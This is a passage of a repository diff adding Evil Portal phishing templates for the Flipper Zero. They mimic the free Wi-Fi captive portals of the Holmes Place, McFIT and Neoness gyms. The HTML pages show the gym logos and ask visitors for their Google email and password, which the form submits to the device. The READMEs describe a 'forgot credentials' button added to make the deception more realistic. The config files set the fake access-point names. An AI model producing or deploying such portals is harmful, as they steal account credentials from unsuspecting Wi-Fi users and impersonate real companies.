199 23 204 -9 15 -74 2 -134 -26 l-54 -26 -24 -163 c-33 -231 -21 -208 -102
-208 -54 0 -69 3 -69 15 0 16 68 477 75 512 5 20 23 27 118 42 4 0 7 -15 7
-33z m792 10 c73 -35 100 -130 60 -206 -25 -47 -106 -94 -215 -127 l-88 -27 3
-35 c3 -35 4 -36 49 -39 40 -3 102 14 191 52 13 6 19 -1 28 -34 6 -23 14 -48
17 -56 11 -30 -156 -84 -263 -84 -109 0 -156 39 -162 133 -5 71 30 293 52 335
22 43 70 82 117 98 57 18 163 13 211 -10z m484 13 c32 -6 62 -13 65 -15 3 -2
2 -26 -4 -53 l-9 -50 -104 6 -103 6 -12 -26 c-17 -38 -8 -50 68 -92 134 -75
151 -100 133 -193 -21 -112 -58 -143 -180 -150 -73 -4 -170 9 -199 27 -11 7
-12 19 -4 57 10 55 2 52 115 33 81 -14 116 -7 128 27 15 38 -2 59 -80 100 -73
38 -116 79 -126 119 -9 37 15 132 42 164 40 47 145 63 270 40z m474 -2 c54
-12 55 -13 53 -45 0 -18 -4 -44 -7 -57 -5 -21 -9 -23 -39 -14 -37 11 -161 14
-176 4 -17 -10 -13 -60 7 -77 9 -8 47 -31 84 -52 109 -59 126 -100 93 -212
-25 -84 -77 -114 -194 -114 -59 0 -174 20 -187 32 -2 3 1 28 8 57 8 36 16 50
25 47 7 -3 43 -11 78 -17 81 -14 131 -6 140 22 14 44 -2 65 -86 110 -52 28
-89 55 -101 74 -30 49 -20 156 20 205 38 46 160 62 282 37z m1231 -34 c-3 -36
-3 -36 21 -21 12 8 44 27 70 42 54 31 53 32 62 -50 l5 -52 -82 -50 -82 -50
-25 -168 -25 -169 -73 -3 -73 -3 6 33 c9 57 75 498 75 507 0 9 111 30 120 23
2 -1 3 -19 1 -39z m534 33 l50 -12 -3 -49 c-2 -28 -5 -51 -7 -53 -2 -2 -36 0
-77 5 -108 12 -137 7 -144 -24 -10 -37 2 -51 81 -95 39 -21 83 -53 99 -70 27
-29 28 -35 23 -94 -9 -116 -55 -164 -167 -172 -67 -4 -191 10 -217 26 -8 5 -8
21 -1 60 10 48 13 53 32 48 99 -29 191 -30 208 -4 4 7 8 25 8 40 0 23 -9 33
-52 57 -105 58 -130 77 -145 105 -29 57 2 192 51 218 53 28 173 35 261 14z"/>
<path d="M4503 1930 c-26 -11 -44 -42 -54 -93 l-7 -38 32 6 c54 12 114 42 126
65 9 17 8 26 -5 46 -16 25 -50 31 -92 14z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Holmes Place "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Holmes Place WiFi

View File

@@ -0,0 +1,188 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 35px;
color: #222223;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #222223;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #222223;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #222223;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="70.000000pt" height="70.000000pt" viewBox="0 0 512.000000 512.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)"
fill="#222223" stroke="none">
<path d="M0 2560 l0 -2560 2560 0 2560 0 0 2560 0 2560 -2560 0 -2560 0 0
-2560z m2812 1984 c892 -115 1588 -802 1723 -1699 22 -142 22 -412 1 -557
-111 -766 -633 -1387 -1366 -1627 -345 -112 -745 -125 -1102 -35 -910 229
-1536 1061 -1505 1999 8 255 47 446 137 675 267 678 904 1165 1630 1249 126
14 350 12 482 -5z"/>
<path d="M2435 4399 c-335 -21 -630 -124 -925 -322 -156 -105 -370 -323 -479
-486 -232 -349 -334 -725 -310 -1147 37 -657 444 -1258 1047 -1545 102 -49
310 -121 336 -117 15 2 45 65 141 298 67 162 226 546 354 853 127 307 231 563
231 568 0 5 -123 9 -299 9 l-298 0 -118 -282 c-131 -315 -171 -391 -249 -475
-167 -180 -433 -215 -610 -80 -213 161 -254 468 -95 706 65 98 144 158 265
203 54 20 83 22 353 27 l294 6 122 295 c455 1096 605 1460 605 1469 0 18 -210
29 -365 20z"/>
<path d="M2938 4213 c-31 -76 -190 -460 -354 -853 -163 -393 -299 -723 -301
-733 -5 -16 12 -17 296 -15 l302 3 117 280 c140 335 175 399 261 486 108 109
223 154 370 147 181 -8 321 -117 389 -301 82 -220 -12 -500 -212 -629 -114
-74 -154 -81 -479 -87 l-288 -6 -365 -879 c-256 -617 -361 -882 -353 -887 25
-15 247 -22 381 -11 569 46 1070 342 1393 823 68 101 163 291 204 410 71 206
108 463 98 679 -33 686 -426 1282 -1042 1580 -110 54 -255 108 -330 124 l-31
7 -56 -138z"/>
<path d="M3532 3355 c-87 -27 -170 -113 -237 -245 -37 -73 -205 -477 -205
-492 0 -6 104 -8 288 -6 266 3 291 5 341 25 148 60 236 183 248 348 12 154
-73 308 -201 366 -49 22 -169 24 -234 4z"/>
<path d="M1437 2499 c-147 -35 -258 -160 -289 -328 -28 -149 54 -323 184 -393
36 -19 58 -23 138 -23 83 0 101 3 145 27 28 14 69 46 93 69 76 76 106 137 273
542 l48 117 -277 -1 c-152 -1 -294 -5 -315 -10z"/>
</g>
</svg>
<div class="brand-name">HOLMES PLACE</div>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Holmes Place WiFi

View File

@@ -0,0 +1,163 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 35px;
color: #222223;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #222223;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #222223;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #222223;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="70.000000pt" height="70.000000pt" viewBox="0 0 512.000000 512.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)"
fill="#222223" stroke="none">
<path d="M0 2560 l0 -2560 2560 0 2560 0 0 2560 0 2560 -2560 0 -2560 0 0
-2560z m2812 1984 c892 -115 1588 -802 1723 -1699 22 -142 22 -412 1 -557
-111 -766 -633 -1387 -1366 -1627 -345 -112 -745 -125 -1102 -35 -910 229
-1536 1061 -1505 1999 8 255 47 446 137 675 267 678 904 1165 1630 1249 126
14 350 12 482 -5z"/>
<path d="M2435 4399 c-335 -21 -630 -124 -925 -322 -156 -105 -370 -323 -479
-486 -232 -349 -334 -725 -310 -1147 37 -657 444 -1258 1047 -1545 102 -49
310 -121 336 -117 15 2 45 65 141 298 67 162 226 546 354 853 127 307 231 563
231 568 0 5 -123 9 -299 9 l-298 0 -118 -282 c-131 -315 -171 -391 -249 -475
-167 -180 -433 -215 -610 -80 -213 161 -254 468 -95 706 65 98 144 158 265
203 54 20 83 22 353 27 l294 6 122 295 c455 1096 605 1460 605 1469 0 18 -210
29 -365 20z"/>
<path d="M2938 4213 c-31 -76 -190 -460 -354 -853 -163 -393 -299 -723 -301
-733 -5 -16 12 -17 296 -15 l302 3 117 280 c140 335 175 399 261 486 108 109
223 154 370 147 181 -8 321 -117 389 -301 82 -220 -12 -500 -212 -629 -114
-74 -154 -81 -479 -87 l-288 -6 -365 -879 c-256 -617 -361 -882 -353 -887 25
-15 247 -22 381 -11 569 46 1070 342 1393 823 68 101 163 291 204 410 71 206
108 463 98 679 -33 686 -426 1282 -1042 1580 -110 54 -255 108 -330 124 l-31
7 -56 -138z"/>
<path d="M3532 3355 c-87 -27 -170 -113 -237 -245 -37 -73 -205 -477 -205
-492 0 -6 104 -8 288 -6 266 3 291 5 341 25 148 60 236 183 248 348 12 154
-73 308 -201 366 -49 22 -169 24 -234 4z"/>
<path d="M1437 2499 c-147 -35 -258 -160 -289 -328 -28 -149 54 -323 184 -393
36 -19 58 -23 138 -23 83 0 101 3 145 27 28 14 69 46 93 69 76 76 106 137 273
542 l48 117 -277 -1 c-152 -1 -294 -5 -315 -10z"/>
</g>
</svg>
<div class="brand-name">HOLMES PLACE</div>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>

6
Gyms/McFIT/README.md Normal file
View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a McFIT "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
McFIT WiFi

File diff suppressed because one or more lines are too long

1
Gyms/McFIT/ap.config.txt Normal file
View File

@@ -0,0 +1 @@
McFIT WiFi

161
Gyms/McFIT/index.html Normal file

File diff suppressed because one or more lines are too long

6
Gyms/Neoness/README.md Normal file
View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Neoness "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Neoness WiFi

View File

@@ -0,0 +1,221 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 42px;
color: #D8102C;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #D8102C;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #D8102C;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #D8102C;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="120.000000pt" height="120.000000pt" viewBox="0 0 1200.000000 1200.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1200.000000) scale(0.100000,-0.100000)"
fill="#D8102C" stroke="none">
<path d="M5615 11993 c-1528 -98 -2959 -775 -4002 -1892 -930 -996 -1489
-2260 -1598 -3614 -20 -247 -20 -727 0 -974 149 -1842 1135 -3509 2680 -4528
807 -533 1704 -852 2700 -960 205 -23 780 -31 1013 -16 1756 120 3352 990
4410 2405 686 919 1085 1997 1172 3166 15 204 12 690 -5 906 -159 1961 -1257
3705 -2960 4704 -77 45 -241 132 -365 194 -693 344 -1449 550 -2232 606 -131
9 -685 11 -813 3z m-2030 -3543 c331 -86 586 -361 650 -701 13 -74 15 -168 13
-686 l-3 -600 -30 -48 c-81 -131 -228 -168 -359 -91 -25 14 -57 42 -72 61 -53
70 -54 82 -54 691 0 535 -1 565 -20 625 -50 158 -184 255 -350 253 -144 -1
-259 -73 -322 -202 l-33 -67 -5 -600 c-5 -583 -6 -601 -26 -645 -29 -63 -100
-125 -165 -144 -66 -20 -82 -20 -150 0 -70 21 -149 98 -168 164 -9 34 -11 195
-9 670 l3 625 29 85 c55 166 126 280 242 391 136 129 286 206 471 239 78 14
268 4 358 -20z m4530 6 c230 -50 414 -154 576 -324 134 -140 226 -303 276
-489 24 -88 27 -115 27 -273 0 -158 -3 -185 -27 -273 -53 -199 -156 -374 -304
-518 -204 -198 -441 -302 -719 -316 -315 -15 -601 95 -830 322 -190 187 -296
408 -326 676 -14 131 -1 281 36 411 122 418 478 729 912 798 81 12 294 5 379
-14z m-2146 -20 c110 -31 234 -87 319 -145 213 -145 279 -254 237 -397 -16
-58 -21 -63 -512 -555 -409 -410 -494 -500 -491 -520 4 -30 29 -37 143 -38
154 -2 274 42 398 144 89 73 136 95 212 95 143 0 254 -109 255 -249 0 -82 -18
-128 -77 -191 -210 -227 -556 -354 -877 -321 -263 27 -477 126 -668 309 -209
201 -323 454 -335 743 -7 160 6 264 48 394 58 181 148 324 291 461 125 119
252 197 409 249 139 47 200 55 384 51 146 -3 183 -8 264 -30z m1677 -2677
c120 -22 248 -86 341 -172 183 -168 79 -457 -164 -457 -77 0 -121 17 -187 74
-28 23 -61 48 -73 54 -32 17 -110 15 -150 -5 -47 -22 -78 -88 -69 -147 14 -83
67 -122 284 -210 62 -26 136 -58 165 -72 186 -95 311 -234 361 -404 26 -84 31
-240 12 -330 -52 -242 -242 -450 -491 -537 -73 -25 -93 -27 -225 -28 -133 0
-151 2 -225 28 -156 55 -299 160 -341 252 -28 58 -32 156 -10 209 20 49 81
112 131 136 53 26 152 29 205 6 19 -8 55 -30 80 -49 75 -57 123 -77 186 -77
95 0 162 48 184 131 32 118 -30 176 -305 282 -288 112 -444 257 -500 467 -38
142 -26 319 30 447 63 141 187 268 330 339 138 69 284 90 431 63z m1573 -9
c154 -37 308 -138 365 -240 27 -47 31 -65 31 -125 0 -58 -5 -79 -29 -123 -49
-89 -124 -132 -228 -132 -76 0 -124 21 -192 79 -59 51 -82 61 -144 61 -86 0
-142 -58 -142 -145 0 -94 51 -132 345 -255 150 -63 231 -114 315 -199 126
-127 174 -253 173 -451 0 -96 -5 -128 -27 -196 -75 -232 -305 -440 -541 -489
-235 -49 -487 20 -650 178 -63 62 -76 80 -90 130 -21 72 -14 133 23 201 80
148 269 172 416 52 58 -48 105 -66 172 -66 110 0 184 72 184 179 0 89 -57 136
-265 217 -163 63 -261 114 -333 172 -169 135 -239 295 -230 527 6 130 33 220
97 319 47 72 154 179 221 221 153 96 350 128 529 85z m-5616 -24 c314 -93 540
-332 624 -662 16 -62 18 -130 18 -689 l0 -620 -22 -41 c-72 -135 -227 -186
-354 -118 -59 32 -113 95 -129 152 -6 23 -10 240 -10 589 0 370 -4 569 -11
605 -31 144 -130 249 -269 284 -206 52 -410 -81 -450 -295 -6 -32 -10 -277
-10 -610 0 -538 -1 -557 -21 -601 -43 -95 -131 -152 -234 -152 -106 0 -194 56
-239 152 -21 44 -21 57 -21 655 0 599 0 612 22 698 81 315 317 565 616 652
100 29 148 34 277 30 97 -2 144 -9 213 -29z m2291 8 c197 -38 399 -143 545
-285 67 -65 93 -122 93 -201 0 -114 -2 -117 -537 -646 -267 -265 -485 -485
-485 -489 0 -5 6 -17 13 -28 11 -15 32 -19 113 -22 167 -8 306 40 429 148 76
67 131 91 205 91 157 0 271 -126 257 -283 -9 -98 -60 -165 -209 -274 -279
-206 -664 -263 -1006 -149 -342 114 -618 412 -711 767 -69 266 -41 529 83 782
221 446 709 683 1210 589z m4077 -1887 c67 -45 75 -139 18 -196 -81 -81 -220
-26 -219 87 1 26 6 57 14 70 34 62 125 81 187 39z"/>
<path d="M7742 7940 c-138 -36 -256 -120 -337 -240 -231 -341 -55 -800 346
-901 267 -68 549 65 667 313 46 96 62 161 62 258 0 97 -16 162 -62 260 -49
102 -148 206 -245 258 -131 69 -291 89 -431 52z"/>
<path d="M5534 7941 c-218 -59 -380 -225 -430 -439 -31 -133 -4 -341 46 -350
9 -1 175 158 385 368 317 317 368 372 359 387 -29 46 -242 66 -360 34z"/>
<path d="M5523 5220 c-259 -68 -434 -295 -435 -565 -1 -132 26 -225 65 -225 7
0 179 166 382 370 414 414 399 392 284 422 -85 22 -206 22 -296 -2z"/>
<path d="M9853 3839 c-32 -17 -56 -74 -49 -114 10 -50 60 -89 105 -81 109 17
109 187 1 201 -19 3 -45 0 -57 -6z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Neoness WiFi

197
Gyms/Neoness/index.html Normal file
View File

@@ -0,0 +1,197 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 42px;
color: #D8102C;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #D8102C;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #D8102C;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #D8102C;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="120.000000pt" height="120.000000pt" viewBox="0 0 1200.000000 1200.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1200.000000) scale(0.100000,-0.100000)"
fill="#D8102C" stroke="none">
<path d="M5615 11993 c-1528 -98 -2959 -775 -4002 -1892 -930 -996 -1489
-2260 -1598 -3614 -20 -247 -20 -727 0 -974 149 -1842 1135 -3509 2680 -4528
807 -533 1704 -852 2700 -960 205 -23 780 -31 1013 -16 1756 120 3352 990
4410 2405 686 919 1085 1997 1172 3166 15 204 12 690 -5 906 -159 1961 -1257
3705 -2960 4704 -77 45 -241 132 -365 194 -693 344 -1449 550 -2232 606 -131
9 -685 11 -813 3z m-2030 -3543 c331 -86 586 -361 650 -701 13 -74 15 -168 13
-686 l-3 -600 -30 -48 c-81 -131 -228 -168 -359 -91 -25 14 -57 42 -72 61 -53
70 -54 82 -54 691 0 535 -1 565 -20 625 -50 158 -184 255 -350 253 -144 -1
-259 -73 -322 -202 l-33 -67 -5 -600 c-5 -583 -6 -601 -26 -645 -29 -63 -100
-125 -165 -144 -66 -20 -82 -20 -150 0 -70 21 -149 98 -168 164 -9 34 -11 195
-9 670 l3 625 29 85 c55 166 126 280 242 391 136 129 286 206 471 239 78 14
268 4 358 -20z m4530 6 c230 -50 414 -154 576 -324 134 -140 226 -303 276
-489 24 -88 27 -115 27 -273 0 -158 -3 -185 -27 -273 -53 -199 -156 -374 -304
-518 -204 -198 -441 -302 -719 -316 -315 -15 -601 95 -830 322 -190 187 -296
408 -326 676 -14 131 -1 281 36 411 122 418 478 729 912 798 81 12 294 5 379
-14z m-2146 -20 c110 -31 234 -87 319 -145 213 -145 279 -254 237 -397 -16
-58 -21 -63 -512 -555 -409 -410 -494 -500 -491 -520 4 -30 29 -37 143 -38
154 -2 274 42 398 144 89 73 136 95 212 95 143 0 254 -109 255 -249 0 -82 -18
-128 -77 -191 -210 -227 -556 -354 -877 -321 -263 27 -477 126 -668 309 -209
201 -323 454 -335 743 -7 160 6 264 48 394 58 181 148 324 291 461 125 119
252 197 409 249 139 47 200 55 384 51 146 -3 183 -8 264 -30z m1677 -2677
c120 -22 248 -86 341 -172 183 -168 79 -457 -164 -457 -77 0 -121 17 -187 74
-28 23 -61 48 -73 54 -32 17 -110 15 -150 -5 -47 -22 -78 -88 -69 -147 14 -83
67 -122 284 -210 62 -26 136 -58 165 -72 186 -95 311 -234 361 -404 26 -84 31
-240 12 -330 -52 -242 -242 -450 -491 -537 -73 -25 -93 -27 -225 -28 -133 0
-151 2 -225 28 -156 55 -299 160 -341 252 -28 58 -32 156 -10 209 20 49 81
112 131 136 53 26 152 29 205 6 19 -8 55 -30 80 -49 75 -57 123 -77 186 -77
95 0 162 48 184 131 32 118 -30 176 -305 282 -288 112 -444 257 -500 467 -38
142 -26 319 30 447 63 141 187 268 330 339 138 69 284 90 431 63z m1573 -9
c154 -37 308 -138 365 -240 27 -47 31 -65 31 -125 0 -58 -5 -79 -29 -123 -49
-89 -124 -132 -228 -132 -76 0 -124 21 -192 79 -59 51 -82 61 -144 61 -86 0
-142 -58 -142 -145 0 -94 51 -132 345 -255 150 -63 231 -114 315 -199 126
-127 174 -253 173 -451 0 -96 -5 -128 -27 -196 -75 -232 -305 -440 -541 -489
-235 -49 -487 20 -650 178 -63 62 -76 80 -90 130 -21 72 -14 133 23 201 80
148 269 172 416 52 58 -48 105 -66 172 -66 110 0 184 72 184 179 0 89 -57 136
-265 217 -163 63 -261 114 -333 172 -169 135 -239 295 -230 527 6 130 33 220
97 319 47 72 154 179 221 221 153 96 350 128 529 85z m-5616 -24 c314 -93 540
-332 624 -662 16 -62 18 -130 18 -689 l0 -620 -22 -41 c-72 -135 -227 -186
-354 -118 -59 32 -113 95 -129 152 -6 23 -10 240 -10 589 0 370 -4 569 -11
605 -31 144 -130 249 -269 284 -206 52 -410 -81 -450 -295 -6 -32 -10 -277
-10 -610 0 -538 -1 -557 -21 -601 -43 -95 -131 -152 -234 -152 -106 0 -194 56
-239 152 -21 44 -21 57 -21 655 0 599 0 612 22 698 81 315 317 565 616 652
100 29 148 34 277 30 97 -2 144 -9 213 -29z m2291 8 c197 -38 399 -143 545
-285 67 -65 93 -122 93 -201 0 -114 -2 -117 -537 -646 -267 -265 -485 -485
-485 -489 0 -5 6 -17 13 -28 11 -15 32 -19 113 -22 167 -8 306 40 429 148 76
67 131 91 205 91 157 0 271 -126 257 -283 -9 -98 -60 -165 -209 -274 -279
-206 -664 -263 -1006 -149 -342 114 -618 412 -711 767 -69 266 -41 529 83 782
221 446 709 683 1210 589z m4077 -1887 c67 -45 75 -139 18 -196 -81 -81 -220
-26 -219 87 1 26 6 57 14 70 34 62 125 81 187 39z"/>
<path d="M7742 7940 c-138 -36 -256 -120 -337 -240 -231 -341 -55 -800 346
-901 267 -68 549 65 667 313 46 96 62 161 62 258 0 97 -16 162 -62 260 -49
102 -148 206 -245 258 -131 69 -291 89 -431 52z"/>
<path d="M5534 7941 c-218 -59 -380 -225 -430 -439 -31 -133 -4 -341 46 -350
9 -1 175 158 385 368 317 317 368 372 359 387 -29 46 -242 66 -360 34z"/>
<path d="M5523 5220 c-259 -68 -434 -295 -435 -565 -1 -132 26 -225 65 -225 7
0 179 166 382 370 414 414 399 392 284 422 -85 22 -206 22 -296 -2z"/>
<path d="M9853 3839 c-32 -17 -56 -74 -49 -114 10 -50 60 -89 105 -81 109 17
109 187 1 201 -19 3 -45 0 -57 -6z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>